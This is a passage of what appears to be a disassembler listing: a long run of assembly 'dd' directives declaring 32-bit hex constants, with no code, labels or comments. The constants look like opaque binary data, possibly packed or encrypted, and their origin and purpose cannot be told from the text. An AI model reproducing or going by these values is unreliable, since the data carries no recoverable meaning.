0D0A920C0h, 0F7CE00A2h, 0C9674705h dd 0BD0E7BEEh, 0A08FA583h, 71B6B06Fh, 43A400F3h, 6C8C1A9Bh dd 4800340Ch, 2320F93Ch, 0EFC33Fh, 4B9AC045h, 0C79F9C11h dd 64489100h, 6B1318DDh, 0EFAA009Eh, 0F3E1B76Dh, 8D3E215Dh dd 0E7DE806Eh, 70273A7Bh, 37189h, 0E412F81Eh, 0ACD9E07Ah dd 59DCA05h, 901F3BB2h, 8EA1BC0h, 97D402h, 60E39A27h, 653A6676h dd 5C7E8E07h, 0D140A416h, 8AEFBFh, 0D60AC2A6h, 0AD31F6FDh dd 6F55B401h, 0BB22AABDh, 802730FCh, 680021EDh, 7A54282Bh dd 9D6C0Ch, 0DD8ED895h, 0B2B9BF49h, 4D0018E8h, 0C8C570F4h dd 0A0607h, 0C44E9F2Ah, 8E474092h, 7219E4A8h, 0D01A1C00h dd 59249C6Bh, 0C05A00E1h, 0EA91B976h, 1101EB6Fh, 9F033D2Eh dd 8931F442h, 0A6F8D0h, 6E60E69Ah, 73CE9C49h, 0B030C401h dd 965F63FBh, 7B2A5CCh, 50868AC7h, 0D0F7C199h, 58D420BEh dd 4AED3700h, 5EABDCA9h, 1860006Eh, 65EB8698h, 79F02A2Ch dd 0B38EC10Ch, 2D4088h, 0B7392426h, 0D783BB06h, 0E6524803h dd 99DE812Ch, 14322928h, 61FA2C70h, 684E012Eh, 30B4809Eh dd 707D8BF0h, 0AE6C7300h, 0CB71CA47h, 0E7210729h, 909941C2h dd 9653CF94h, 130BA100h, 2220E901h, 3806010Ch, 925F7FF8h dd 0CB02FD8h, 47A213EAh, 29F0027Ah, 401231B6h, 0EADD20h dd 30AF3745h, 0B2726F79h, 541E3400h, 8B6ED858h, 799032Ah dd 870D9E2Eh, 0A0D764C8h, 6C007D76h, 22D67245h, 0D3BE96h dd 3CAED962h, 0A77C4AE6h, 3E6AF4E7h, 0AC273F03h, 0B0B267E7h dd 0FAD8394Bh, 8B7857h, 64CAEDFh, 5BC2FEADh, 0D5612E00h dd 0D71AEEF9h, 0C3BA06FAh, 564D0BF3h, 5CA8BF1Fh, 4608B743h dd 394CA810h, 0A7980Ah, 757D0498h, 5BF83215h, 2BA6E100h dd 9E4F5372h, 6620078Fh, 0A060E578h, 836AF3A0h, 0B12BC0E7h dd 8B6CDE01h, 9F4482FCh, 1A5F7E4h, 0E0AC077Bh, 82A4A372h dd 8E3D47D8h, 0A282C081h, 0C03B01D6h, 0F7F3614Ah, 0A99AF439h dd 0FE678700h, 9221F646h, 9E303DF5h, 2DFAF080h, 693E8CB3h dd 0C3DF4502h, 0A15FE9F6h, 309AD1A8h, 71A375C8h, 80E06060h dd 0A6A118EDh, 74015000h, 0BF8E45Fh, 0F69B0034h, 73B05E51h dd 0DD0023EBh, 1A2A0DD6h, 3DA10128h, 0E60034B3h, 90C161BDh dd 3B009C3Ch, 6424B495h, 3FB0A65h, 0F1D5910Eh, 0C8DA0DB5h dd 3910A840h, 3F7D9500h, 0DE5F3C43h, 87D0004Bh, 0EDA734CDh dd 0B63D14B5h, 7EF487FBh, 7510440Ch, 4CECF64h, 0BB309625h dd 84F380FDh, 8605FA11h, 0AEACAAE1h, 0AFF6FAC1h, 35F8F0h dd 960447A5h, 8C5C2450h, 3F09431Fh, 0B5FF49C7h, 0C4514650h dd 3B2D012Ch, 0BC8EB4E3h, 0BB793094h, 8CBE8600h, 7D6E4537h dd 0AF800077h, 18A30F12h, 0BB1CDE09h, 90C7F8F2h, 0D750B97Fh dd 0CF30F6h, 84C41525h, 798D6CEAh, 0F76AB8C0h, 78DE0F86h dd 57FA0034h, 448C4790h, 0D5006616h, 0EAAAF748h, 0EC10780Eh dd 20C7C30h, 0E4DEB0B1h, 0CC8060BAh, 0E7A743EDh, 2F6054Ch dd 675B413Ch, 6DB4875Eh, 87E1170h, 0DA5000F4h, 64FB1C44h dd 68077CC2h dd 38407DAAh, 5806EAD0h, 88C7005Eh, 0DFF3E3ADh, 683D7036h dd 0CE169C9Dh, 0A2263C80h, 51AB0Fh, 52CD0127h, 0D7ED6D41h dd 9F7D3Fh, 0F3F6DED2h, 3C3B930h, 28E08D1Bh, 0FF90584Ch dd 32036674h, 957017F4h, 0FCB7E8BBh, 0BE9C001Fh, 9D6735A7h dd 0B5034E81h, 0BB374AB2h, 7EE07155h, 0F58000B1h, 2FBC0A08h dd 0B654E4F1h, 0CF011D9Ch, 1163C0A1h, 0C9D4ECAEh, 0B21F00D1h dd 1925B1B4h, 0A00F30F1h, 60343C03h, 0A6377C08h, 57DA061Ah dd 0C065771Dh, 3E3ECF4Ch, 0F0D480ACh, 0AAE43F7Eh, 53710099h dd 3E2AE7FEh, 367E6CA2h, 771EBA00h, 0ACED09FBh, 1684E03Ch dd 97D9404h, 43002F45h, 0EF6BA071h, 0D29A0900h, 8B7F2B95h dd 21400144h, 32923D1Dh, 681830C2h, 18A57900h, 0EF366582h dd 0B4FE38h, 3E99F3A2h, 3AF86DD0h, 7CC95724h, 0B68F3F00h dd 11ACD5Ah, 8A69DA0Ah, 409D92EEh, 1D94FE87h, 0A88B8700h dd 13AB2A23h, 83330076h, 0C2FAFC2Dh, 79C9F8ECh, 646C00A7h dd 121A89h, 0F2F44680h, 0BBC53633h, 0AC617300h, 6BCC7F75h dd 1EBC60D5h, 0E418EC1Ah, 0F9A53400h, 90C0CD03h, 0F88C001Dh dd 740777DFh, 601C8114h, 0B342089Eh, 43EB1805h, 0A6EE9FCh dd 9D2037F1h, 9B1D00A6h, 91F11536h, 431DB811h, 1983107Eh dd 0E8FF02F9h, 50D20DFAh, 0EA4FD01Bh, 9A6E1FE2h, 0B3C980CDh dd 98B4DDF4h, 87935C39h, 46F67E2Fh, 453F0140h, 481F07EAh dd 2043CE0Ch, 2D9726D7h, 9BFFB100h, 4B278542h, 7406018Ah dd 993681A4h, 59B8FF30h, 97038E8Fh, 9077845Ch, 677F9812h dd 8C2F00ADh, 5E364988h, 0CF5999E1h, 0EDD10140h, 290F5315h dd 79F87DF0h, 2C3B04C9h, 0C079B788h, 2D4590D8h, 0A80AD1Dh dd 56370C3Ch, 7EAD81Fh, 25E058AEh, 0AB7C51B6h, 5FD3E43Ch dd 200FA4F6h, 0C0C137EBh, 83A2E764h, 0EE7E2609h, 5E5F00D9h dd 6B4708E8h, 520018F8h, 2F646C02h, 620B21h, 0D4F9D02Bh dd 22C2E5EBh, 9933A20Eh, 7C4C44E4h, 356740C0h, 0D191816h dd 0AADAD897h, 20A83F0Eh, 22C96141h, 0A0201802h, 1F7C008Fh dd 0DC428B23h, 99043EEAh, 6F9AC254h, 3C7634C0h, 8D200064h dd 0F789146h, 0B90B10C3h, 5E29B81Ch, 1BE1006Bh, 73BEA26h dd 0C72D7701h, 0EDCEF486h, 74B34C8h, 14C2D409h, 9B1661F9h dd 8043D9A6h, 0D8DEDFA8h, 0EE2BC08Dh, 74A505CEh, 0C056B441h dd 263E1C98h, 3FE6B701h, 75472897h, 869520h, 0D30C3460h dd 0FFAF1D13h, 0E5CBD901h, 0C345FBEDh, 0BF030h, 328EDE93h dd 0C29E7F7h, 0C2FFC801h, 0CF5B10C0h, 26508CF0h, 2F58Fh dd 4529905Dh, 0D83FDA42h, 0FC08243h, 68D58582h, 40AE0B28h dd 6844911Eh, 51091CABh, 11F4405Ch, 615B48BAh, 0E30C317Ah dd 0AE4A5834h, 2CC0F76h, 96E12D67h, 0EC629387h, 8E0524D2h dd 68F7FEE4h, 100EFC5h, 2B58AB11h, 944713BAh, 751400B3h dd 0A2D806CCh, 0AFD5600h, 841578CAh, 0FA570F3Bh, 64E01E3Fh dd 7B9E127Eh, 2F6D0F00h, 89F556BDh, 778700FAh, 432C96A8h dd 0F650F3B1h, 0A92675F2h, 0B389904Bh, 0C65410A8h, 46A0837Bh dd 0E7006C4Eh, 912F70A6h, 26E67EBBh, 57C7D02h, 0C26BCE3Eh dd 0E0664B30h, 0CFA63500h, 0B85521FCh, 4A660042h, 401E7376h dd 84C3A36h, 54F1E65h, 207D49h, 0BE5B1340h, 78F57C78h dd 0D6E700FAh, 0B09A6D4Ah, 94B0AECBh, 386EAC00h, 0CA6FE346h dd 2D5A1241h, 0A7340040h, 0AF01A3E2h, 0CC7CAA00h, 0EFB0E0FEh dd 0B5810941h, 888003C4h, 7128CBE1h, 93517E00h, 7A38278Eh dd 6A8200E3h, 0CEDDBE24h, 0D700D60Ch, 8713DF5Fh, 7078B90Dh dd 79F6009Fh, 985B2FC3h, 0E400A317h, 2E07A824h, 0E33CADh dd 4C68926Dh, 0D6D2F1AAh, 0CA1F85A0h, 0A653ED00h, 86709806h dd 5B221335h, 802C5E0Fh, 0BF325230h, 0A4002F2Dh, 3AAB6A73h dd 18064CCCh, 0B831D11Bh, 560F0B64h, 4460DFDEh, 2C835AA2h dd 1B28B068h, 0DDBCA879h, 3006E271h, 0DC61B446h, 9C05AA94h dd 4C67F7D5h, 3A40A41Ch, 33B53102h, 52F43091h, 0A867D760h dd 80057200h, 0ED51E52Eh, 470913Ah, 0C0960AB6h, 0A7D7D320h dd 0B7605E4h, 3BE01160h, 28B81448h, 0EC0E15h, 189AEF3Dh dd 83CA3562h, 8A5E5000h, 0FD2B567Ah, 685405ECh, 80F8A634h dd 3BB15349h, 175E9A00h, 5FAFBFEAh, 45C0521h, 80FFA574h dd 7C244C3Ch, 4A424000h, 0D70CFEEDh, 565502AAh, 0CFBA739Fh dd 0A11DAF40h, 130099E4h, 71B1B6C4h, 923A77h, 0D0A237C5h dd 5C31EF1Ah, 25169101h, 0C7A3ED33h, 3F3BEBD4h, 0F080DFAFh dd 4873239Fh, 5901D3D9h, 296A764Eh, 8705541h, 995800F0h dd 7A8B9588h, 9F00220Fh, 3894DA4Dh, 0F7D8CDh, 2FE429Ah dd 84419BBFh, 1F6BC3Bh, 0BE8B2691h, 0CBCCA02Bh, 5E071E8Dh dd 0A110C022h, 0D04F23E8h, 76926A00h, 43E427ABh, 18A60941h dd 0D5708F15h, 530028B8h, 1C129B4Ah, 31BB13Fh, 2FC10422h dd 90B8CCBAh, 3402B982h, 0AD17BE9Ah, 7A88607Bh, 3BB0E20Ch dd 980048CCh, 4FEEFB22h, 0C0FC8263h, 94C24Ch, 8E295E8Fh dd 92126F51h, 367D0520h, 0DF723h, 0E68892ECh, 31E4B5F0h dd 6DE1B800h, 76B22240h, 1F120348h, 83462419h, 0F131D098h dd 0BDCCB300h, 226D6077h, 17017243h, 442609FCh, 0AA897850h dd 0DCA752C0h, 0B5BE037Bh, 990D6B5Dh, 0AD80F9CBh, 8B986A95h dd 9ED59800h, 0C055849Fh, 830B07A9h, 0F50A64h, 14DD657Fh dd 316F7205h, 0B7C1CA94h, 0AAFC83E9h, 9563031Ah, 0D9F838C4h dd 4031781Ch, 98E9C041h, 0F8C71DD2h, 1238C8CEh, 887AF81Bh dd 900CC44h, 349820F7h, 1E6E3BBh, 0D73C5AC5h, 0E829A06Dh dd 0B9F0A910h, 808A433Ah, 0DE163653h, 1F4042B7h, 18F58706h dd 520A119Eh, 5D579C00h, 5E2AB98h, 0ECFA0131h, 71C2F9E4h dd 908C5279h, 0AFA20800h, 5F340002h, 0F16D012Dh, 0C940C7Eh dd 73F41E00h, 72754EFFh, 0BD0F00B0h, 5080A013h, 5402039Fh dd 0E5D2B366h, 0BBF0692Dh, 0B031F8h, 0DA9850FAh, 4E3208C2h dd 59105890h, 0D81D7258h, 0F7CFC0D9h, 0B6486B66h, 33BD9C0Eh dd 0B22A8361h, 5126A9E1h, 6D2CE60h, 0CFAD1A0Eh, 7803401Ch dd 8E819C42h, 404EAA60h, 0F793Fh, 0B085DF0Bh, 0F957C53Ch dd 60818824h, 4B29F00h, 0B57EDCh, 0E1BEEBF7h, 1EDB7C57h dd 0D844263Fh, 0D6400040h, 74EDA48Eh, 36F0E5D2h, 173E0042h dd 61E6B499h, 9FF6938Bh, 0DBCD3D00h, 9428A10Ah, 827F000Eh dd 0BE9C197Dh, 290038DAh, 394EEA59h, 282308E9h, 1FB8DCD0h dd 0DF7A0Dh, 9A839EE2h, 0F7388C2Bh, 503E80B8h, 384A99CDh dd 3B6C181Ah, 0B1693ACBh, 748C4400h, 0E3D74C9Ah, 0B3841C4Fh dd 0CBC702BFh, 0CC02BEBh, 0B64209FFh, 7AF08ACAh, 551B3880h dd 5900C80Bh, 0ED2EF28Eh, 0DE19E6h, 9F580466h, 868B283Ch dd 6D2F6F01h, 5DF8161Bh, 269A10F0h, 96E88CCAh, 0FFC82837h dd 0EC68B024h, 0F90B1501h, 0D440228Dh, 4C270E02h, 0C301F08Ah dd 17099A7Dh, 8296D43Bh, 81FEB33Eh, 802AA38Eh, 0C441D840h dd 10709FAAh, 0DE36005Ah, 9E37716Fh, 6A781EC8h, 2F467000h dd 26A165DDh, 0D92D0473h, 0E4402164h, 8000E14h, 55A372DFh dd 477F0Fh, 4FEEE2Dh, 9DC9F8F5h, 43C12C00h, 0F150E1DFh dd 34B85D3Bh, 0EE74A00h, 0E8CF3A90h, 2D764Ch, 5CD5AE46h dd 686108Fh, 84047C4Bh, 0C37C3E14h, 80FCEA58h, 2D90913Bh dd 0E47D0163h, 5C88219Ah dd 418671C3h, 0C077B464h, 0DD07F11Ch, 0C18789D1h, 8CC48D50h dd 1E8F0035h, 67ED95B0h, 1B0721Fh, 0C3168100h, 0EC1C14A0h dd 0D41B0077h, 0A6E1374Bh, 0C00004CCh, 2D0D657Bh, 26459BADh dd 0E330805Ah, 0D1B0C471h, 0D89AAED3h, 1F54Ch, 6A0435Ah dd 4C4EC28Eh, 0E2009256h, 0E65B2814h, 2600FDC1h, 9141A59Fh dd 12C43D63h, 42013F7h, 802C6A6Ah, 4A7AEAB8h, 2ACA800h dd 0ADEB5490h, 0C0E294h, 12BC654Eh, 0CA15C15Ch, 0A064214h dd 365007CFh, 821164E0h, 0CCC4A341h, 0EFE30029h, 2FA6C406h dd 0ED000894h, 64DD7860h, 987DF74h, 0C859B8D7h, 6501D800h dd 6C767CA9h, 27932900h, 194F8295h, 0A7DD5836h, 0CB9A600h dd 1779632Ch, 47DAB26h, 3D934000h, 413ACEh, 98B9BB27h dd 5A72D488h, 0DAEDA800h, 0D81078CCh, 36E00EEh, 7312567Fh dd 7400221Eh, 0B6A2C257h, 8DA497h, 41EC552Ch, 42BE5B17h dd 0D2A96200h, 0BB4601B1h, 0C1843DEEh, 9473F300h, 85AA2715h dd 9E3AA43Ch, 0E9CCE7A9h, 3E35058h, 9E547F4Ch, 0C0A93D32h dd 0C05045BFh, 1F42C818h, 0C593691Ch, 0AF8C28C0h, 7256B6BCh dd 55C70001h, 0FD49A166h, 0D6149416h, 7C4DE86h, 22A05E6h dd 58D402EBh, 0B0CC7095h, 0EF03005Ch, 24B6D3ADh, 5AE0592Ah dd 0FC4D4E1Eh, 18B7E8C0h, 3876320h, 0BD68E9B6h, 14DA7BC2h dd 2F1C2460h, 856FB000h, 779E1DEAh, 0F5E800A9h, 0B4829BF6h dd 5BE6B727h, 0E3269C04h, 4FC050C9h, 68CE1Ch, 0AB12DA0h dd 3CDCD436h, 9897520Eh, 0E111808Ch, 8AA967h, 4C69C20Fh dd 0E684D89Ch, 21FB1500h, 5831F25h, 11FC6Eh, 76A9ADC5h dd 0CAEAEC5Eh, 3310F200h, 6D5AC882h, 90721C3Eh, 0DA4800B2h dd 0D668578Dh, 0FB00BFE8h, 74BD6CB7h, 0C0CA4D16h, 939C4481h dd 5C179407h, 2A05BBFBh, 10034C16h, 0A3939F3Eh, 822CC0BFh dd 29F6062Bh, 0A81A2A6Ah, 31EDBE7Ch, 49A7E0ECh, 0F653A300h dd 0B3B1BBC1h, 790C300Dh, 120FBF48h, 412438C0h, 0FB8D70h dd 303E84E8h, 3398FEAFh, 0FA4FBE02h, 180EF059h, 726147FDh dd 10D881Ah, 68D30C40h, 98DE8Ch, 0FB59F407h, 9D1CC726h dd 4C004F95h, 0B51A7AE1h, 91320F0Ch, 0C8E05F3Bh, 0A93A934h dd 0BA73E800h, 57ABB4D5h, 14211EEAh, 0EDD6804Bh, 0F14499DEh dd 0F50085F0h, 836E130Bh, 0CFD91Eh, 0E6AAA391h, 40D1E93Fh dd 43F5EA01h, 0A7B093A4h, 0E1E39F21h, 71D82CFCh, 2AB37C1Eh dd 0A8C430h, 1F792B69h, 0F1D666B1h, 7506611Dh, 6EC43E00h dd 48144BBAh, 0B8009BFAh, 92459DC5h, 0B4A1741Ch, 9AC1DE12h dd 7967C8D7h, 0EE387E76h, 47F77D2h, 2054700h, 0CFE0A6FCh dd 6F701264h, 65DA0045h, 7A04D93h, 0CA89C66Fh, 7E2FF4C9h dd 0D6DB0F5Fh, 9600AC35h, 52634C2h, 4E009939h, 184D11F3h dd 77F0F2h, 0B4A19F45h, 5092024h, 9E67CE00h, 8ED5BEFFh dd 5B88Ch, 52D9137Ah, 0E87B11A4h, 85EC904Bh, 96656160h dd 0F70FFFD1h, 0C0A87F29h, 0EBF0436Ah, 95FB009Dh, 906CA5A0h dd 29730B37h, 5A1FA600h, 6EE3353Dh, 1D1303DBh, 88F077F6h dd 6164B6E8h, 0A48F8300h, 35C1BD36h, 0D94732E2h, 0E4107B29h dd 0C22A8863h, 89D7B088h, 44B4081Fh, 10841E7Ch, 21303638h dd 62A23D43h, 22C1F222h, 0A7443AB9h, 0D58B3A6Dh, 0D9BB710Ch dd 0D701C108h, 0DEE6681Dh, 0E3722Ah, 9D777F18h, 9CECF618h dd 0EFF54100h, 0EAEE4E81h, 0F0420086h, 106A4DE8h, 0BA00A8A9h dd 8982FE2Ah, 0E5E70Ah, 3A97DC1Dh, 154BA229h, 0AFC88A00h dd 0BB5F6FC4h, 77C23E0Eh, 0A175E280h, 94BAAA67h, 4B452A00h dd 0BC6CDC1Bh, 0AC2D00A6h, 9F7226B4h, 300B2F4h, 186674AEh dd 0C054E04Ah, 56ED1410h, 0DB00248Ch, 0F4E1539Eh, 729606CCh dd 0FDE1609h, 0D0900A1h, 44B64F2Ch, 0A28F5F0Fh, 80CD8FF5h dd 0BD51C186h, 4A350743h, 513728B9h, 30882723h, 607258Eh dd 10B7E3C3h, 24956380h, 68D15850h, 3A151903h, 1100BAA1h dd 7FED3CB9h, 0C3F22DDh, 29336435h, 28EA6150h, 53479813h dd 0B16200AAh, 484BA11Bh, 0D886DB00h, 0E6F901A2h, 85EE4Eh dd 0E76EAA35h, 916B403Fh, 4EFDB00h, 6055D389h, 70C79BBh dd 1C9ED220h, 5760BE73h, 475D8E75h, 92CB4000h, 48F8B749h dd 944A50BAh, 2F7BBBh, 2E7B0B18h, 0E3CF686Bh, 2A8AB03h dd 0AF9C55C1h, 0D544FB0h, 9931045Dh, 87763EDDh, 0EEFB10C5h dd 0D401665Ah, 5F96E278h, 88209AD1h, 565F0D7h, 3FC89D52h dd 920C650h, 6F38C900h, 6A0DDADBh, 25171C92h, 0FA00F878h dd 1035706h, 407557Ah, 6A2205FCh, 0CAC19290h, 873501A8h dd 0EB76FE8Bh, 7BCF40ABh, 6B29AF36h, 26008456h, 0A53E0E45h dd 24F10078h, 23CAA811h, 8C0053CDh, 0B959A35Ah, 0FAD62Fh dd 8BEC25BDh, 482C7BAFh, 69724890h, 0E011D200h, 2825605h dd 0D173DFh, 8410C52Bh, 1714FB38h, 2D61EA09h, 6528004Eh dd 5B12688h, 82A79C7Dh, 51FC005Bh, 15078404h, 1524BE48h dd 7FC59DCh, 0FE66EBC9h, 0D4C11CE0h, 2B2300C8h, 0E2E678A0h dd 790086CEh, 0C2D043B5h, 6C8350Fh, 0FDAE9C56h, 46E4D039h dd 6F137E02h, 0E07AF6A6h, 7897A2h, 0C05A1218h, 67ABF428h dd 6B841400h, 59E2B413h, 0F05B003Ch, 0C66E0A73h, 5400D22Ch dd 418AD60Bh, 7AFF50h, 88E1D9F7h, 0A58B62AEh, 731D4D00h dd 698530B1h, 2265004Ah, 20CFBC48h, 7900C151h, 0F86EE590h dd 2617AF72h, 38055EEh, 70E83F18h, 7C85E3C8h, 8BE91300h dd 7EDE29A6h, 0C02C787Fh, 0ACB5A118h, 0D0F990A5h, 0B1F89536h dd 0E89A7B00h, 0EA944BA6h, 0F51700A1h, 0ADE2A52Ch, 3200B163h dd 748A8477h, 14947BE5h, 8C2B626Fh, 0F601BE3Bh, 2D5579FFh dd 0C16BEC6Eh, 0B1AC0300h, 0C837DA05h, 341D0091h, 0E28D7812h dd 0B8748F2Dh, 23668E02h, 6601CD46h, 7BF10354h, 87BBAF8Dh dd 137F2298h, 84572C00h, 199AF452h, 478607C7h, 106CE575h dd 0D926FE48h, 802CCEA1h, 0E43D526Ah, 2BCC4Bh, 0C90EE87Fh dd 0CD16517Dh, 685B3100h, 578470A3h, 0DE930326h, 812F298Ah dd 119803A3h, 76E69D02h, 51B3A502h, 0E0B5DFB6h, 0B8265394h dd 2DAC3AA8h, 0FA116100h, 44977E3Ah, 903D4804h, 40805CA7h dd 18B2FD2h, 0C367EE45h, 0ECD486B8h, 0C607A2ABh, 9CFD370Dh dd 104AD20h, 9E731D88h, 7C23C963h, 51870880h, 2707134Fh dd 0EC440A4h, 6DC20470h, 4B0377CDh, 0CF55C017h, 1E005416h dd 0AB4EEE66h, 537433h, 78F4DB83h, 482813F5h, 0E3D42700h dd 148DA747h, 3F110009h, 0A1BA70B6h, 0D5008962h, 8205F041h dd 741AC315h, 499B0697h, 29F703D7h, 0E391450Fh, 75F1802Dh dd 0C9831h, 0FFDFDAC8h, 41B93463h, 0E501BA01h, 0AA23DCFEh dd 0DEA3FCh, 0BE039C10h, 35644039h, 0AD00CA7Ch, 8C46ED85h dd 6802EF4h, 0C19CC77h, 4DEC4897h, 1AFD638h, 0FA48C8FEh dd 0E0201CC4h, 0B63D2C92h, 814D8160h, 7020D97Fh, 0F004105h dd 2D50D5A8h, 0C53AC02h, 0A56415E8h, 0CA00E511h, 10F8FEEEh dd 0EC4126A8h, 6A791C12h, 29D00097h, 66739613h, 991EBD76h dd 4BC2B36Eh, 0E05F717Bh, 6076234h, 0CFDB7386h, 0B53F0885h dd 0CAD98083h, 22346682h, 0A964011Eh, 5A13C04Bh, 0BB80D360h dd 0DA2E59ABh, 0FD129CBAh, 0A58DBD00h, 0B09355D4h, 0C69230D4h dd 66242182h, 0F43C9C92h, 33B58FB7h, 764560E8h, 1E205AC2h dd 985841BBh, 6CFC293Ch dd 0DC861A00h, 1F346EBAh, 0DE90A918h, 0DA189062h, 9BC768A3h dd 9222E400h, 2BD2A855h, 327D004Dh, 0BCB0AC73h, 0F0E852Ch dd 0AF3B61A0h, 0D41420AFh, 78F67Eh, 0F0B0516Bh, 209F1664h dd 9D38C001h, 2E80402Ch, 0E63B30h, 0B767DB51h, 1B6EDF57h dd 0E2647D00h, 391AFB26h, 699F0033h, 0A6BFE449h, 0FC009C45h dd 30C87A2Eh, 804B77h, 73550725h, 2DD9CF22h, 44D0B000h dd 0EB178DB1h, 93F02E70h, 352600F1h, 0B84E3F74h, 3C3E6A1Eh dd 10002292h, 0F068BD98h, 64615890h, 0A5FAC09h, 563F10Fh dd 18C691FFh, 2E372A00h, 2B5C15FAh, 6B1E00B7h, 5E17F830h dd 1901C82Dh, 75942068h, 80309DB3h, 983A76E3h, 90461D19h dd 0A081C0E1h, 8DD66FF1h, 0E7439600h, 2FC2F8A8h, 0BFAD01E0h dd 0FA3F877Ch, 8267FC12h, 0B8E72801h, 178095A6h, 0B3294880h dd 449C2247h, 0EA330EF4h, 0A03831F8h, 1E0A001h, 0CAD45CC3h dd 874D7098h, 8D3FD838h, 0E6B27A90h, 0F86154F1h, 9B1B0FC1h dd 24CF0737h, 3E7982A0h, 0C3E24CB4h, 0D7D02D00h, 0F48DEE51h dd 6B5200DCh, 0DBC7CA84h, 1700AC9Ch, 95922996h, 1A94111h dd 94A3BEFCh, 0DCC17D10h, 0E300391Ch, 62D68DDBh, 8B5643h dd 9CF80E4Ch, 0B2EFC9FAh, 10E4B502h, 0C01DAE55h, 1A311B8h dd 9546AAFBh, 401C24F5h, 1E429604h, 1FB04560h, 188CFC4h dd 7DFA997Fh, 0E2FB745Ah, 7BF0B240h, 0FA775526h, 4F17CD00h dd 0B096678Bh, 36660044h, 453C8694h, 18C781D5h, 4880C7B5h dd 5ABA38h, 0ECA43E7Ch, 0D4B97CEh, 88B5DE00h, 0C112AD34h dd 8EF641h, 3A8D8CC0h, 65AB8A8Fh, 0AF55F317h, 0C6157800h dd 5875DC12h, 710F88D7h, 18670AD3h, 0F0AF83C9h, 9735B5B8h dd 6BAB0700h, 847430BDh, 0C5C8C147h, 0D4A4ECBBh, 0A524F1D3h dd 6C094F4Ah, 8554021Dh, 2A68502Bh, 30ECB8D9h, 53FE3201h dd 12160F8Dh, 6840A8B9h, 906F82C5h, 3A20B0EAh, 0FF0001A4h dd 0CC439B4Eh, 0F200E763h, 4B887BBDh, 79C3C097h, 841A008Dh dd 0D52C0D0Eh, 0D209AF25h, 80745039h, 0B7191E94h, 4CCF0162h dd 3DB508ABh, 0D882E50Bh, 42007F10h, 3AFF9A11h, 0E2B199h dd 0B6F21A0Eh, 59E59334h, 0D001F901h, 49BB6021h, 9D4DC4h dd 5692CB83h, 5B501912h, 39E02400h, 0E8590D13h, 0D134001Fh dd 0BA16EB7Bh, 6B7C013Fh, 93DCE100h, 864760E2h, 2AB90E7Ah dd 5B205343h, 446795D2h, 0C034B426h, 86F80814h, 47149h dd 0E50CEA2h, 0E22BBBC3h, 2C4C9AE6h, 0FEE401E4h, 0ED5E64F6h dd 60EA820h, 0B0E25D47h, 806010ECh, 9E6D5B0Ch, 6C8300A7h dd 0C23FCCA2h, 7F286ADCh, 9BE6C12Ah, 7E8F9000h, 91A0B363h dd 0F35EE46h, 7D33DDDBh, 5080A51Ch, 49B18A4Fh, 80B82A51h dd 31DDE98h, 18528DAEh, 0E8F62302h, 0AB4CA4FFh, 0B2517CCh dd 0B2967800h, 7348917Ah, 0C3111CC4h, 0AD2B8039h, 0D619EB8Bh dd 8166CF3Dh, 0FABE8D4h, 0F8244E15h, 78B001Dh, 0FB535F7Dh dd 1B004051h, 0AA9693F2h, 48C38A1Eh, 9F003AF0h, 0D397ABE0h dd 900170CCh, 0AC42B6FFh, 0C0CA85C4h, 1E33EDDBh, 0EC515992h dd 0BF600A8h, 0E29BF234h, 0D3C23A02h, 60BDE5C9h, 1E952B20h dd 5F410FC4h, 0A487C769h, 6375776Bh, 33A14E82h, 0CDC3083h dd 0AFFE4002h, 4802D466h, 3E6EC87Ch, 93BBE0D8h, 595D2D80h dd 8E431733h, 422C2E1Eh, 0C65B1830h, 0C0F5009Ch, 0CA469BAEh dd 8002079h, 1B9DB8CBh, 507AC5h, 2203A9C7h, 2B33ADE3h dd 8BD030E9h, 0F31F5D03h, 0A86FD21Dh, 2F921h, 65EB5E6h dd 0AB2850F5h, 0FA005C94h, 8E6BA1E3h, 405804E9h, 0A60B32E5h dd 79040444h, 9C80A508h, 14AFAD7h, 0C245AC2Dh, 0D0682B6Ch dd 0F4FEB2EEh, 75E61400h, 7054ECCFh, 0AB400E7h, 8D4436BEh dd 0FF00F649h, 3CE45674h, 6807ADh, 8C08E996h, 51BD5710h dd 910066E0h, 141CF72h, 0F784C0h, 104321F0h, 0FB7A8552h dd 0B5ECD51Fh, 27600E80h, 26FA12EEh, 7B80456h, 307367D9h dd 0DB6DC22Eh, 0C30440F7h, 2D00D83Ah, 0ACD72FC0h, 3A26C12Bh dd 390F3286h, 2CA0335Dh, 3C774858h, 124C5C01h, 9373FFA6h dd 0CFAC30h, 3489C5C1h, 5503CBFh, 29E89FEEh, 8B11800h dd 4E9B22E2h, 798F00AEh, 3B8B7023h, 933A0161h, 5D309A3h dd 0F0880057h, 3987FCBh, 991A758Fh, 0FC12B45h, 0B4DC203Bh dd 80CD6438h, 0CAE473AFh, 42A58Ah, 5B2FB6F3h, 0E29EC672h dd 9DAA7F02h, 60A6CDCCh, 79BA90h, 7D0F0DC0h, 7E6515B8h dd 106DF016h, 8D641087h, 3440E4h, 24BF01DBh, 0AD7C7261h dd 8066103Ah, 0A11A1BCh, 773AA02h, 96094DF2h, 864F100Ch dd 90016942h, 0D6EFD7BFh, 78806FCCh, 28AEE323h, 3C09D148h dd 0A077A235h, 1CCD7B08h, 287660DDh, 25A34CCAh, 53A08B50h dd 0A272E617h, 0C8CE040h, 0F4E08A0h, 3A7F895Ah, 5D93AB80h dd 880054F3h, 0AC118B63h, 1454A44h, 40D2F4A2h, 20018584h dd 1C051444h, 0B02E1FCDh, 972028C0h, 138B007Bh, 0E5FEAF84h dd 2C00A810h, 557A7E4Dh, 25E413Bh, 2D20DA4Ch, 0C3C06E27h dd 2609F1F5h, 60360B0Eh, 112764Ch, 0B02AB4ECh, 0C27A9D8Eh dd 0D0387643h, 1E0180C9h, 2D2942DDh, 3372E33h, 0BA1B0F78h dd 0AE600272h, 4CD0E656h, 0DF16C600h, 5C2DEA85h, 0A7EE013Ah dd 0ABE3E890h, 8934301Ch, 40579800h, 0D1753FDh, 4D6E00C5h dd 9283DACEh, 5100DFF3h, 4EDCF615h, 3968D98Bh, 7E8E5CF7h dd 0DF0B2034h, 0A97B0801h, 0A8C3E8E7h, 0AAC108C0h, 0CC78E5h dd 84659EA1h, 0E2E89FA0h, 0F9E46800h, 60D16B99h, 0EAE4C2h dd 0D661CF5Fh, 0DE34C5E5h, 4903BBB0h, 6A4BDFDBh, 2BF80C1h dd 186BE07Bh, 1A14B7FEh, 0CC00CDAFh, 3FF87992h, 0EE1BADBh dd 0CAF0C828h, 0DEF4B360h, 7660E326h, 439AEE20h, 9C403ABh dd 0CA7C358Eh, 6028A2h, 0D400DADFh, 6726A85Fh, 